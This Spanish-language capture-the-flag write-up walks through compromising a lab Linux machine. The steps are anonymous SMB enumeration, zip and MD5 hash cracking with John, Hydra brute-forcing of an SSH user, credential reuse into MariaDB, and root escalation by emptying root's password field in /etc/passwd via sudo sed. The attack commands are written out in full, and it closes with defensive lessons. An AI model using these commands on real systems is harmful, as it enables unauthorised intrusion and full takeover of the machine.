Introducción

En este writeup detallaremos la intrusión completa en una máquina Linux. El proceso abarca la enumeración de servicios Samba (SMB), cracking de archivos comprimidos, fuerza bruta de usuarios en puertos SSH no estándar y una técnica de escalada de privilegios mediante la manipulación del archivo /etc/passwd utilizando el binario sed.

Reconocimiento inicial

Comenzamos identificando los servicios expuestos en la red. El escaneo de puertos revela lo siguiente:

139/tcp   open  netbios-ssn   Samba smbd 4
445/tcp   open  netbios-ssn   Samba smbd 4
65535/tcp open  ssh           OpenSSH 9.2p1

Notamos dos puntos clave:

  • SMB (445): Un vector común para encontrar archivos olvidados o recursos compartidos sin contraseña.
  • SSH (65535): El servicio SSH está movido al último puerto disponible, lo que indica un intento de ocultación (Security by obscurity).

Enumeración de SMB

Utilizamos smbmap para listar los recursos compartidos disponibles en el servidor:

smbmap -H 192.168.100.13

El resultado nos muestra un recurso llamado backup con permisos de READ ONLY. Procedemos a conectarnos y descargar el contenido:

smbclient //192.168.100.13/backup -N
# Dentro de la shell de SMB:
ls
get secretito.zip

Cracking de Archivo comprimido

Al intentar descomprimir secretito.zip, el sistema solicita una contraseña. Usamos zip2john para obtener el hash y john para romperlo:

zip2john secretito.zip > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Obtenemos la contraseña: -----. Tras descomprimir el archivo, encontramos una nota con la clave: elbunker....

Acceso Inicial (SSH)

Sabemos que el puerto SSH es el 65535 y tenemos una contraseña potencial, pero no el usuario. Realizamos un ataque de enumeración de usuarios con Hydra:

hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p elbunkermolagollon123 ssh://192.168.100.13:65535

Hydra identifica al usuario cowboy. Accedemos al sistema:

ssh cowboy@192.168.100.13 -p 65535

Movimiento Lateral y Base de Datos

Una vez dentro como cowboy, revisamos el historial de comandos (history) y los puertos internos. Descubrimos que las mismas credenciales funcionan para acceder a la base de datos MariaDB:

mariadb -u cowboy -pelbunkermolagollon123

Dentro de la base de datos bunker, en la tabla users, encontramos un hash MD5 perteneciente al usuario debian:

# Hash encontrado: 7c6a180b36896a0a8c02787eeafb0e4c
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash_debian

La contraseña crackeada es: -----. Cambiamos de usuario con su debian.

Escalada de Privilegios

Como usuario debian, revisamos nuestros privilegios de sudo:

sudo -l
# Resultado: (ALL) NOPASSWD: /usr/bin/sed

El binario sed es un editor de flujo muy potente. Al poder ejecutarlo como root, podemos modificar archivos sensibles. El objetivo es el archivo /etc/passwd.

Técnica: Eliminación de contraseña de Root

En Linux, si la segunda columna del archivo /etc/passwd (donde suele estar una 'x') está vacía, el sistema no solicita contraseña para ese usuario. Ejecutamos:

sudo /usr/bin/sed -i 's/root:x/root:/g' /etc/passwd

Este comando busca root:x y lo reemplaza por root: (sin la x), guardando los cambios directamente en el archivo. Ahora, simplemente escalamos:

su root
whoami
# root

Resumen:

  • Configuración SMB: Nunca se debe permitir el acceso "Null Session" o lectura anónima a recursos con backups.
  • Gestión de contraseñas: El uso de la misma contraseña para SSH y Bases de Datos facilitó el movimiento lateral.
  • Privilegios Sudo: Permitir sed con sudo es extremadamente peligroso, ya que equivale a dar acceso de escritura a cualquier archivo del sistema.

Este material es solo para aprendizaje y CTFs legales. No lo uses en sistemas sin autorización. Comparte.